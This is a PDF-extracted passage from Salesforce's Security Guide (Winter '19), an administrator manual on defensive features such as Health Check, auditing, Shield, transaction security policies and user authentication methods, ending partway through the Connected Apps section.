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Salesforce Security Guide
Version 44.0, Winter ’19

@salesforcedocs
Last updated: October 24, 2018

as are other names and marks. Other marks appearing herein may be trademarks of their respective owners.

CONTENTS
Chapter 1: Salesforce Security Guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Salesforce Security Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Phishing and Malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Security Health Check . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Salesforce Shield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Transaction Security Policies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Salesforce Security Film Festival . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
Authenticate Users . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
Elements of User Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
Configure User Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Give Users Access to Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
Control Who Sees What . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
User Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
Object Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
Custom Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
Profiles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
User Role Hierarchy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Share Objects and Fields . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Field-Level Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
Sharing Rules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
User Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137
What Is a Group? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 141
Organization-Wide Sharing Defaults . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147
Strengthen Your Data's Security with Shield Platform Encryption . . . . . . . . . . . . . . . . . . . . . . 151
Encrypt Fields, Files, and Other Data Elements With Encryption Policy . . . . . . . . . . . . . . 152
Filter Encrypted Data with Deterministic Encryption . . . . . . . . . . . . . . . . . . . . . . . . . . 168
Cache-Only Key Service (Beta) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171
Manage Shield Platform Encryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 184
Monitoring Your Organization’s Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 224
Monitor Login History . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225
Field History Tracking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 226
Monitor Setup Changes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231
Transaction Security Policies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 234
Security Guidelines for Apex and Visualforce Development . . . . . . . . . . . . . . . . . . . . . . . . 245
Cross-Site Scripting (XSS) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 245
Formula Tags . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 247
Cross-Site Request Forgery (CSRF) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 248
SOQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249

Contents

Data Access Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 251

Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252

CHAPTER 1
In this chapter ...
•

Salesforce Security
Basics

•

Authenticate Users

•

Give Users Access to
Data

•

Share Objects and
Fields

•

Strengthen Your
Data's Security with
Shield Platform
Encryption

•

Monitoring Your
Organization’s
Security

•

Security Guidelines
for Apex and
Visualforce
Development

Salesforce Security Guide
Salesforce is built with security to protect your data and applications. You can also implement your own
security scheme to reflect the structure and needs of your organization. Protecting your data is a joint
responsibility between you and Salesforce. The Salesforce security features enable you to empower your
users to do their jobs safely and efficiently.

Salesforce Security Guide

Salesforce Security Basics

Salesforce Security Basics
The Salesforce security features help you empower your users to do their jobs safely and efficiently. Salesforce limits exposure of data
to the users that act on it. Implement security controls that you think are appropriate for the sensitivity of your data. We'll work together
to protect your data from unauthorized access from outside your company and from inappropriate usage by your users.
IN THIS SECTION:
Phishing and Malware
Trust starts with transparency. That’s why Salesforce displays real-time information on system performance and security on the trust
site at http://trust.salesforce.com. This site provides live data on system performance, alerts for current and recent phishing and
malware attempts, and tips on best security practices for your organization.
Security Health Check
As an admin, you can use Health Check to identify and fix potential vulnerabilities in your security settings, all from a single page. A
summary score shows how your org measures against a security baseline, like the Salesforce Baseline Standard. You can upload up
to five custom baselines to use instead of the Salesforce Baseline Standard.
Auditing
Auditing provides information about use of the system, which can be critical in diagnosing potential or real security issues. The
Salesforce auditing features don't secure your organization by themselves; someone in your organization should do regular audits
to detect potential abuse.
Salesforce Shield
Salesforce Shield is a trio of security tools that admins and developers can use to build a new level of trust, transparency, compliance,
and governance right into business-critical apps. It includes Platform Encryption, Event Monitoring, and Field Audit Trail. Ask your
Salesforce administrator if Salesforce Shield is available in your organization.
Transaction Security Policies
Policies evaluate activity using events that you specify. For each policy, you define real-time actions, such as notify, block, force
two-factor authentication, freeze user, or end a session.
Salesforce Security Film Festival
For quick introductions to some of the most important Salesforce security concepts, try watching some of these entertaining and
instructive videos.

Phishing and Malware
Trust starts with transparency. That’s why Salesforce displays real-time information on system performance and security on the trust site
at http://trust.salesforce.com. This site provides live data on system performance, alerts for current and recent phishing and malware
attempts, and tips on best security practices for your organization.
The Security tab on the trust site includes valuable information that can help you to safeguard your company's data. In particular, be on
the alert for phishing and malware.
• Phishing is a social engineering technique that attempts to acquire sensitive information such as usernames, passwords, and credit
card details by masquerading as a trustworthy entity in an electronic communication. Phishers often direct users to enter details at
a fake website whose URL and look-and-feel are almost identical to the legitimate one. As the Salesforce community grows, it has
become an increasingly appealing target for phishers. You will never get an email or a phone call from a Salesforce employee asking
you to reveal a password, so don’t reveal it to anyone. You can report any suspicious activities by clicking the Report a Suspicious
Email link under the Trust tab at http://trust.salesforce.com.

Salesforce Security Guide

Phishing and Malware

• Malware is software designed to infiltrate or damage a computer system without the owner's informed consent. It is a general term
used to cover a variety of forms of hostile, intrusive, or annoying software, and it includes computer viruses and spyware.

What Salesforce Is Doing About Phishing and Malware
Customer security is the foundation of customer success, so Salesforce continues to implement the best possible practices and technologies
in this area. Recent and ongoing actions include:
• Actively monitoring and analyzing logs to enable proactive alerts to customers who have been affected.
• Collaborating with leading security vendors and experts on specific threats.
• Executing swift strategies to remove or disable fraudulent sites (often within an hour of detection).
• Reinforcing security education and tightening access policies within Salesforce.
• Evaluating and developing new technologies both for our customers and for deployment within our infrastructure.

What Salesforce Recommends You Do
Salesforce is committed to setting the standards in software-as-a-service as an effective partner in customer security. So, in addition to
internal efforts, Salesforce strongly recommends that customers implement the following changes to enhance security:
• Modify your Salesforce implementation to activate IP range restrictions. This allows users to access Salesforce only from your corporate
network or VPN. For more information, see Restrict Where and When Users Can Log In to Salesforce on page 20.
• Set session security restrictions to make spoofing more difficult. For more information, see Modify Session Security Settings on page
31.
• Educate your employees not to open suspect emails and to be vigilant in guarding against phishing attempts.
• Use security solutions from leading vendors to deploy spam filtering and malware protection.
• Designate a security contact within your organization so that Salesforce can more effectively communicate with you. Contact your
Salesforce representative with this information.
• Consider using two-factor authentication techniques to restrict access to your network. For more information, see Two-Factor
Authentication on page 10.
• Use Transaction Security to monitor events and take appropriate actions. For more information, see Transaction Security Policies on
page 6.
Salesforce has a Security Incident Response Team to respond to any security issues. To report a security incident or vulnerability to
Salesforce, contact security@salesforce.com. Describe the issue in detail, and the team will respond promptly.

Salesforce Security Guide

Security Health Check

Security Health Check
As an admin, you can use Health Check to identify and fix potential vulnerabilities in your security
settings, all from a single page. A summary score shows how your org measures against a security
baseline, like the Salesforce Baseline Standard. You can upload up to five custom baselines to use
instead of the Salesforce Baseline Standard.
From Setup, enter Health Check in the Quick Find box, then select Health Check.

EDITIONS
Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS
To view Health Check and
export custom baselines:
• View Health Check

In the baseline dropdown (1), choose the Salesforce Baseline Standard or a custom baseline. The
baseline consists of recommended values for High-Risk, Medium-Risk, Low-Risk, and Informational
Security Settings (2). If you change settings to be less restrictive than what’s in the baseline, your
health check score (3) and grade (4) decreases.

To import custom baselines:
• Manage Health Check

Your settings are shown with information about how they compare against baseline values (5). To remediate a risk, edit the setting (6)
or use Fix Risks (7) to quickly change settings to your selected baseline’s recommended values without leaving the Health Check page.
You can import, export, edit, or delete a custom baseline with the baseline control menu (8).
Note: When we introduce new settings to Security Health Check, they are added to the Salesforce Baseline Standard with default
values. If you have a custom baseline, you are prompted to add the new settings when you open your custom baseline.
Example: Suppose that you changed your password minimum length from 8 (the default value) to 5, and changed other Password
Policies settings to be less restrictive. These changes make your users’ passwords more vulnerable to guessing and other brute
force attacks. As a result, your overall score decreases, and the settings are listed as risks.

Fix Risks Limitations
Not all settings can be changed using the Fix Risks button. If a setting you want to adjust does not appear on the Fix Risks screen, change
it manually using the Edit link on the Health Check page.
SEE ALSO:
Salesforce Help: How Is the Health Check Score Calculated?
Salesforce Help: Create a Custom Baseline for Health Check
Salesforce Help: Custom Baseline File Requirements

Salesforce Security Guide

Auditing

Auditing
Auditing provides information about use of the system, which can be critical in diagnosing potential or real security issues. The Salesforce
auditing features don't secure your organization by themselves; someone in your organization should do regular audits to detect potential
abuse.
To verify that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends.
Record Modification Fields
All objects include fields to store the name of the user who created the record and who last modified the record. This provides some
basic auditing information.
Login History
You can review a list of successful and failed login attempts to your organization for the past six months. See Monitor Login History
on page 225.
Field History Tracking
You can also enable auditing for individual fields, which will automatically track any changes in the values of selected fields. Although
auditing is available for all custom objects, only some standard objects allow field-level auditing. See Field History Tracking on page
226.
Setup Audit Trail
Administrators can also view a Setup Audit Trail, which logs when modifications are made to your organization’s configuration. See
Monitor Setup Changes on page 231.

Salesforce Shield
Salesforce Shield is a trio of security tools that admins and developers can use to build a new level of trust, transparency, compliance,
and governance right into business-critical apps. It includes Platform Encryption, Event Monitoring, and Field Audit Trail. Ask your
Salesforce administrator if Salesforce Shield is available in your organization.

Platform Encryption
Platform Encryption allows you to natively encrypt your most sensitive data at rest across all your Salesforce apps. This helps you protect
PII, sensitive, confidential, or proprietary data and meet both external and internal data compliance policies while keeping critical app
functionality — like search, workflow, and validation rules. You keep full control over encryption keys and can set encrypted data
permissions to protect sensitive data from unauthorized users. See Platform Encryption. on page 151

Event Monitoring
Event Monitoring gives you access to detailed performance, security, and usage data on all your Salesforce apps. Every interaction is
tracked and accessible via API, so you can view it in the data visualization app of your choice. See who is accessing critical business data
when, and from where. Understand user adoption across your apps. Troubleshoot and optimize performance to improve end-user
experience. Event Monitoring data can be easily imported into any data visualization or application monitoring tool like Wave Analytics,
Splunk, or New Relic. To get started, check out our Event Monitoring training course.

Field Audit Trail
Field Audit Trail lets you know the state and value of your data for any date, at any time. You can use it for regulatory compliance, internal
governance, audit, or customer service. Built on a big data backend for massive scalability, Field Audit Trail helps companies create a
forensic data-level audit trail with up to 10 years of history, and set triggers for when data is deleted. See Field Audit Trail on page 230.

Salesforce Security Guide

Transaction Security Policies

Transaction Security Policies
Policies evaluate activity using events that you specify. For each policy, you define real-time actions,
such as notify, block, force two-factor authentication, freeze user, or end a session.

EDITIONS

When you enable Transaction Security for your org, two policies are created.

Available in: Salesforce
Classic and Lightning
Experience

• Concurrent User Session Limit policy to limit concurrent login sessions. The policy is triggered
in two ways.
– A user with five current sessions tries to log in for a sixth session.
– An administrator who is already logged in tries to log in a second time.
• Lead Data Export policy to block excessive data downloads of leads. The policy is triggered
when a download either:
– Retrieves more than 2,000 lead records
– Takes more than one second to complete

Available in: Enterprise,
Performance, Unlimited,
and Developer Editions
Requires purchasing
Salesforce Shield or
Salesforce Event Monitoring
add-on subscriptions.

The policies’ corresponding Apex classes (ConcurrentSessionsPolicyCondition and
DataLoaderLeadExportCondition) are also created in the org. An administrator can enable the policies immediately or edit
the Apex classes to customize them.
For example, suppose that you activate the Concurrent User Session Limit policy to limit the number of concurrent sessions per user. In
addition, you change the policy to notify you via email when the policy is triggered. You also update the policy’s Apex implementation
to limit users to three sessions instead of the default five sessions. (That’s easier than it sounds.) Later, someone with three login sessions
tries to create a fourth. The policy prevents that and requires ending one of the existing sessions before proceeding with the new session.
At the same time, you are notified that the policy was triggered.
The Transaction Security architecture uses the Security Policy Engine to analyze events and determine the necessary actions.

A transaction security policy consists of events, notifications, and actions. For example, when a user tries to export Account data, you
can block the operation and get notified by email.

Salesforce Security Guide

Salesforce Security Film Festival

Salesforce Security Film Festival
For quick introductions to some of the most important Salesforce security concepts, try watching some of these entertaining and
instructive videos.
•

Introduction to the Salesforce Security Model

•

Who Sees What

•

Workshop: What's Possible with Salesforce Data Access and Security

•

Security and the Salesforce Platform: Patchy Morning Fog Clearing to Midday

•

Understanding Multitenancy and the Architecture of the Salesforce Platform

Authenticate Users
Authentication means preventing unauthorized access to your organization or its data by making sure each logged in user is who they
say they are.
IN THIS SECTION:
Elements of User Authentication
Salesforce provides several methods to authenticate users. Some methods are automatically enabled, and some require that you
enable and configure them. Using this user authentication spectrum, you can build authentication to fit your org’s needs and your
users’ use patterns.
Configure User Authentication
Choose login settings to ensure that your users are who they say they are.

Elements of User Authentication
Salesforce provides several methods to authenticate users. Some methods are automatically enabled, and some require that you enable
and configure them. Using this user authentication spectrum, you can build authentication to fit your org’s needs and your users’ use
patterns.

User Authentication Spectrum
At one end of the user authentication spectrum, Salesforce automatically enables certain authentication methods. These methods
include passwords, cookies, and identity verification.
At the other end of the spectrum, you enable and configure user authentication methods to best fit your org’s needs and users’ use
patterns. These methods include two-factor authentication, single sign-on, My Domain, network-based security, session security, custom
login flows, connected apps, and desktop client access.
IN THIS SECTION:
Passwords
Salesforce provides each user in your organization with a unique username and password that must be entered each time a user
logs in. As an administrator, you can configure several settings to ensure that your users’ passwords are strong and secure.
Cookies
Salesforce issues a session cookie to record encrypted authentication information for the duration of a specific session.

Salesforce Security Guide

Elements of User Authentication

Single Sign-On
Salesforce has its own system of user authentication, but some companies prefer to use an existing single sign-on capability to
simplify and standardize their user authentication.
My Domain
Using My Domain, you can define a Salesforce subdomain name to manage login and authentication for your org in several key
ways.
Two-Factor Authentication
Two-factor authentication is the most effective way to protect your org’s user accounts. As a Salesforce admin, amplify your org’s
security by requiring a second level of authentication for every user login. You can also require two-factor authentication when a
user meets certain criteria, such as attempting to view reports or access a connected app.
Network-Based Security
Network-based security limits where users can log in from, and when they can log in. This is different from user authentication, which
only determines who can log in. Use network-based security to limit the window of opportunity for an attacker and to make it more
difficult for an attacker to use stolen credentials.
Device Activation
Device activation tracks information about the devices from which users have verified their identity. Salesforce prompts users to
verify their identity when they access Salesforce from an unrecognized browser or application. Device activation is an extra layer of
security on top of username and password authentication.
Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user
leaves the computer unattended while still logged in. Session security also limits the risk of internal attacks, such as when one
employee tries to use another employee’s session. Choose from several session settings to control session behavior.
Custom Login Flows
Login flows allow admins to build post-authentication processes to match their business practices, associate the flow with a user
profile, and send the user through that flow when logging in. Salesforce directs users to the login flow after they authenticate but
before they access your org or community. After users complete the login flow, they’re logged in to your Salesforce org or community.
The login process can also log out users immediately if necessary.
Single Sign-On
Single sign-on (SSO) lets users access authorized network resources with one login. You validate usernames and passwords against
your corporate user database or other client app rather than Salesforce managing separate passwords for each resource.
Connected Apps
A connected app integrates an application with Salesforce using APIs. Connected apps use standard SAML and OAuth protocols to
authenticate, provide single sign-on, and provide tokens for use with Salesforce APIs. In addition to standard OAuth capabilities,
connected apps allow Salesforce admins to set various security policies and have explicit control over who can use the corresponding
apps.
Desktop Client Access
Connect Offline and Connect for Office are desktop clients that integrate Salesforce with your PC. As an administrator, you can control
which desktop clients your users can access as well as whether users are automatically notified when updates are available.

Salesforce Security Guide

Elements of User Authentication

Passwords
Salesforce provides each user in your organization with a unique username and password that must
be entered each time a user logs in. As an administrator, you can configure several settings to ensure
that your users’ passwords are strong and secure.
• Password policies—Set various password and login policies, such as specifying an amount of
time before all users’ passwords expire and the level of complexity required for passwords. See
Set Password Policies on page 27.

EDITIONS
Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience

• User password expiration—Expire the passwords for all users in your organization, except for
users with “Password Never Expires” permission. See Expire Passwords for All Users on page
30.

Password policies available
in: All Editions

• User password resets—Reset the password for specified users. See Reset Passwords for Your
Users.

USER PERMISSIONS

• Login attempts and lockout periods—If a user is locked out of Salesforce because of too many
failed login attempts, you can unlock them. See Edit Users.

To set password policies:
• Manage Password
Policies

Password Requirements
A password can’t contain a user’s username and can’t match a user’s first or last name. Passwords
also can’t be too simple. For example, a user can’t change their password to password.

To reset user passwords
and unlock users:
• Reset User Passwords
and Unlock Users

For all editions, a new organization has the following default password requirements. You can
change these password policies in all editions, except for Personal Edition.
• A password must contain at least eight characters, including one alphabetic character and one number.
• The security question’s answer can’t contain the user’s password.
• When users change their password, they can’t reuse their last three passwords.

Cookies
Salesforce issues a session cookie to record encrypted authentication information for the duration of a specific session.
The session cookie does not include the user's username or password. Salesforce does not use cookies to store other confidential user
and session information, but instead implements more advanced security methods based on dynamic data and encoded session IDs.

Single Sign-On
Salesforce has its own system of user authentication, but some companies prefer to use an existing single sign-on capability to simplify
and standardize their user authentication.
You have two options to implement single sign-on—federated authentication using Security Assertion Markup Language (SAML) or
delegated authentication.
• Federated authentication using Security Assertion Markup Language (SAML) lets you send authentication and authorization data
between affiliated but unrelated web services. You can log in to Salesforce from a client app. Salesforce enables federated
authentication for your org automatically.
• Delegated authentication SSO integrates Salesforce with an authentication method that you choose. You can integrate authentication
with your LDAP (Lightweight Directory Access Protocol) server or use a token instead of a password for authentication. You manage
delegated authentication at the permission level, not at the org level, giving you more flexibility. With permissions, you can require
some to use delegated authentication while others use their Salesforce-managed password.
Delegated authentication offers the following benefits.

Salesforce Security Guide

Elements of User Authentication

– Uses a stronger form of user authentication, such as integration with a secure identity provider
– Makes your login page private and accessible only behind a corporate firewall
– Differentiates your org from all other companies that use Salesforce to reduce phishing attacks
You must contact Salesforce to enable delegated authentication before you can configure it on your org.
• Authentication providers let your users log in to your Salesforce org using their login credentials from an external service provider.
Salesforce supports the OpenID Connect protocol, which lets users log in from any OpenID Connect provider, such as Google, PayPal,
and LinkedIn. When an authentication provider is enabled, Salesforce doesn’t validate a user’s password. Instead, Salesforce uses
the user’s login credentials from the external service provider to establish authentication credentials.

Identity Providers
An identity provider is a trusted provider that lets you use single sign-on (SSO) to access other websites. A service provider is a website
that hosts apps. You can enable Salesforce as an identity provider and define one or more service providers. Your users can then access
other apps directly from Salesforce using SSO. SSO is a great help to your users—instead of having to remember many passwords, they
only have to remember one.
For more information, see “Identity Providers and Service Providers” in the Salesforce online help.

My Domain
Using My Domain, you can define a Salesforce subdomain name to manage login and authentication for your org in several key ways.
• Highlight your business identity with your unique domain URL
• Brand your login screen and customize right-frame content
• Block or redirect page requests that don’t use the new domain name
• Work in multiple Salesforce orgs at the same time
• Set custom login policy to determine how users are authenticated
• Let users log in using a social account, like Google and Facebook, from the login page
• Allow users to log in once to access external services
For more information, see “My Domain” in Salesforce Help.

Two-Factor Authentication
Two-factor authentication is the most effective way to protect your org’s user accounts. As a
Salesforce admin, amplify your org’s security by requiring a second level of authentication for every
user login. You can also require two-factor authentication when a user meets certain criteria, such
as attempting to view reports or access a connected app.
Two-factor authentication is an essential user authentication method—so essential that Salesforce
provides two types of two-factor authentication.
• Service-based—Also known as device activation, service-based two-factor authentication is
automatically enabled for all orgs.
• Policy-based—Admins enable policy-based two-factor authentication. It is an admin’s best
tool to protect org user accounts.
For help with configuring two-factor authentication, see the Admin Guide to Two-Factor
Authentication and the Trailhead Module Secure Your Users’ Identity.

Salesforce Security Guide

Elements of User Authentication

Org Policies That Require Two-Factor Authentication
Set policies that require a second level of authentication for every login, for logins through the API (for developers and client applications),
or for access to specific features. Users provide the second factor by downloading and installing a mobile authenticator app, such as the
Salesforce Authenticator app or the Google Authenticator app, on their mobile device. They can also use a U2F security key as the second
factor. After users connect an authenticator app or register a security key with their Salesforce account, they can use these authentication
methods whenever your org’s policies require two-factor authentication.
The Salesforce Authenticator mobile app (version 2 and later) sends a push notification to the user’s mobile device when the Salesforce
account requires identity verification. The user responds on the mobile device to verify or block the activity. The user can enable location
services for the app and automate verifications from trusted locations, such as a home or office. Salesforce Authenticator also generates
verification codes, sometimes called “time-based one-time passwords” (TOTPs). Users can choose to enter a password plus the code
instead of responding to a push notification from the app for two-factor verification. Or they can get a verification code from another
authenticator app.
If users lose or forget the device they usually use for two-factor authentication, you can generate a temporary verification code for them.
You set when the code expires, from 1 to 24 hours after you generate it. Your user can use the code multiple times until it expires. A user
can have only one temporary code at a time. If a user needs a new code while the old code is still valid, you can expire the old code,
then generate a new one. Users can expire their own valid codes in their personal settings.
SEE ALSO:
Set Up Two-Factor Authentication

Network-Based Security
Network-based security limits where users can log in from, and when they can log in. This is different from user authentication, which
only determines who can log in. Use network-based security to limit the window of opportunity for an attacker and to make it more
difficult for an attacker to use stolen credentials.

Device Activation
Device activation tracks information about the devices from which users have verified their identity.
Salesforce prompts users to verify their identity when they access Salesforce from an unrecognized
browser or application. Device activation is an extra layer of security on top of username and
password authentication.
When a user logs in from outside a trusted IP range from an unrecognized browser or app, Salesforce
challenges the user to verify identity. Salesforce uses the highest-priority verification method
available for each user. In order of priority, the methods are:
1. Push notification or location-based automated verification with the Salesforce Authenticator
mobile app (version 2 or later) connected to the user’s account
2. U2F security key registered with the user’s account
3. Verification code generated by a mobile authenticator app connected to the user’s account
4. Verification code sent via SMS to the user’s verified mobile device
5. Verification code sent via email to the user’s registered email address

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Elements of User Authentication

Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a user leaves
the computer unattended while still logged in. Session security also limits the risk of internal attacks, such as when one employee tries
to use another employee’s session. Choose from several session settings to control session behavior.
You can control when an inactive user session expires. The default session timeout is two hours of inactivity. When the session timeout
is reached, users are prompted with a dialog that allows them to log out or continue working. If they don’t respond to this prompt, they
are logged out.
Note: When users close a browser window or tab, they aren’t automatically logged out from their Salesforce session. Ensure that
your users are aware of this behavior and that they end all sessions properly by selecting Your Name > Logout.
By default, Salesforce uses TLS (Transport Layer Security) and requires secure connections (HTTPS) for all communication. The Require
secure connections (HTTPS) setting determines whether TLS (HTTPS) is required for access to Salesforce. If you ask Salesforce to disable
this setting and change the URL from https:// to http://, you can still access the application. However, for added security,
require all sessions to use TLS. For more information, see Modify Session Security Settings on page 31.
You can restrict access to certain types of resources based on the level of security associated with the authentication (login) method for
the user’s current session. By default, each login method has one of two security levels: Standard or High Assurance. You can change
the session security level and define policies so that specified resources are available only to users assigned a High Assurance level. For
details, see Session-level Security on page 37.
You can control whether your org stores user logins and whether they can appear from the Switcher with the settings Enable caching
and autocomplete on login page, Enable user switching, and Remember me until logout.

Custom Login Flows
Login flows allow admins to build post-authentication processes to match their business practices, associate the flow with a user profile,
and send the user through that flow when logging in. Salesforce directs users to the login flow after they authenticate but before they
access your org or community. After users complete the login flow, they’re logged in to your Salesforce org or community. The login
process can also log out users immediately if necessary.
What can you do with a login flow?
• Enhance or customize the login experience. For example, add a logo or login message.
• Collect and update user data. For example, request an email address, phone number, or mailing address.
• Interact with users, and ask them to perform an action. For example, complete a survey or accept terms of service.
• Connect to an external identity service or geo-fencing service, and collect or verify user information.
• Enforce strong authentication. For example, implement a two-factor authentication method using hardware, SMS, biometric, or
another authentication technique.
• Run a confirmation process. For example, have a user define a secret question, and validate the answer during login.
• Create more granular policies. For example, set up a policy that sends a notification every time a user logs in during non-standard
working hours.
The first step is to create a flow using either the Cloud Flow Designer or Visualforce. The Cloud Flow Designer is a point-and-click tool
that you can use to design a simple flow that users execute when logging in. Use Visualforce to have complete control over how the
login page looks and behaves.
Next, you designate the flow as a login flow and associate it with specific profiles in your org. You can create multiple login flows and
associate each one with a different user profile. Users assigned to one profile, like sales reps, experience a particular login process as they
log in. Users assigned to a different profile like service reps, experience a different login process.

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Elements of User Authentication

After you associate a login flow with a profile, it is applied each time a user with that profile logs in to Salesforce, communities, the
Salesforce app, and even Salesforce client applications that use OAuth. You can apply login flows to Salesforce orgs and communities,
including external identity communities.
Login flows support all Salesforce authentication methods: standard username and password, delegated authentication, SAML single
sign-on, and social sign-on through a third-party authentication provider. For example, users logging in with a LinkedIn account can go
through a login flow specific for LinkedIn users.
Note: You can’t apply login flows to API logins or when sessions are passed to the UI through frontdoor.jsp from a non-UI
login process.
SEE ALSO:
Login Flow Examples

Single Sign-On
Single sign-on (SSO) lets users access authorized network resources with one login. You validate
usernames and passwords against your corporate user database or other client app rather than
Salesforce managing separate passwords for each resource.
Salesforce offers the following ways to use SSO.
• Federated authentication using Security Assertion Markup Language (SAML) lets you send
authentication and authorization data between affiliated but unrelated web services. You can
log in to Salesforce from a client app. Salesforce enables federated authentication for your org
automatically.
• Delegated authentication SSO integrates Salesforce with an authentication method that you
choose. You can integrate authentication with your LDAP (Lightweight Directory Access Protocol)
server or use a token instead of a password for authentication. You manage delegated
authentication at the permission level, not at the org level, giving you more flexibility. With
permissions, you can require some to use delegated authentication while others use their
Salesforce-managed password.
Delegated authentication offers the following benefits.
– Uses a stronger form of user authentication, such as integration with a secure identity
provider

EDITIONS
Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Federated Authentication is
available in: All Editions
Delegated Authentication is
available in: Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions
Authentication Providers are
available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

– Makes your login page private and accessible only behind a corporate firewall
– Differentiates your org from all other companies that use Salesforce to reduce phishing
attacks

USER PERMISSIONS

You must contact Salesforce to enable delegated authentication before you can configure it
on your org.

To view the settings:
• View Setup and
Configuration

• Authentication providers let your users log in to your Salesforce org using their login credentials
from an external service provider. Salesforce supports the OpenID Connect protocol, which lets
users log in from any OpenID Connect provider, such as Google, PayPal, and LinkedIn. When
an authentication provider is enabled, Salesforce doesn’t validate a user’s password. Instead,
Salesforce uses the user’s login credentials from the external service provider to establish
authentication credentials.

To edit the settings:
• Customize Application
AND
Modify All Data

When you have an external identity provider and configure SSO for your Salesforce org, Salesforce
is then acting as a service provider. You can also enable Salesforce as an identity provider and use SSO to connect to a different service
provider. Only the service provider needs to configure SSO.

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Elements of User Authentication

The Single Sign-On Settings page displays which version of SSO is available for your org. To learn more about SSO settings, see Configure
SAML Settings for Single Sign-On. For more information about SAML and Salesforce security, see the Security Implementation Guide.

Benefits of SSO
Implementing SSO brings several advantages to your org.
• Reduced administrative costs—With SSO, users memorize a single password to access network resources and external apps and
Salesforce. When accessing Salesforce from inside the corporate network, users log in seamlessly and aren’t prompted for a username
or password. When accessing Salesforce from outside the corporate network, the users’ corporate network login works to log them
in. With fewer passwords to manage, system admins receive fewer requests to reset forgotten passwords.
• Leverage existing investment—Many companies use a central LDAP database to manage user identities. You can delegate
Salesforce authentication to this system. Then when users are removed from the LDAP system, they can no longer access Salesforce.
Users who leave the company automatically lose access to company data after their departure.
• Time savings—On average, users take 5–20 seconds to log in to an online app. It can take longer if they mistype their username
or password and are prompted to reenter them. With SSO in place, manually logging in to Salesforce is avoided. These saved seconds
reduce frustration and add up to increased productivity.
• Increased user adoption—Due to the convenience of not having to log in, users are more likely to use Salesforce regularly. For
example, users can send email messages that contain links to information in Salesforce, such as records and reports. When the
recipient of the email message clicks the links, the corresponding Salesforce page opens.
• Increased security—All password policies that you’ve established for your corporate network are in effect for Salesforce. Sending
an authentication credential that’s only valid for a single time also increases security for users who have access to sensitive data.
SEE ALSO:
Best Practices and Tips for Implementing Single Sign-On

Connected Apps
USER PERMISSIONS

EDITIONS

To read, create, update, or delete connected Customize Application AND either
apps:
Modify All Data OR Manage Connected Apps

Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience

To update all fields except Profiles,
Customize Application AND either
Permission Sets, and Service Provider SAML Modify All Data OR Manage Connected Apps
Attributes:
To update Profiles, Permission Sets, and
Service Provider SAML Attributes:

Customize Application AND Modify All Data

To install and uninstall connected apps:

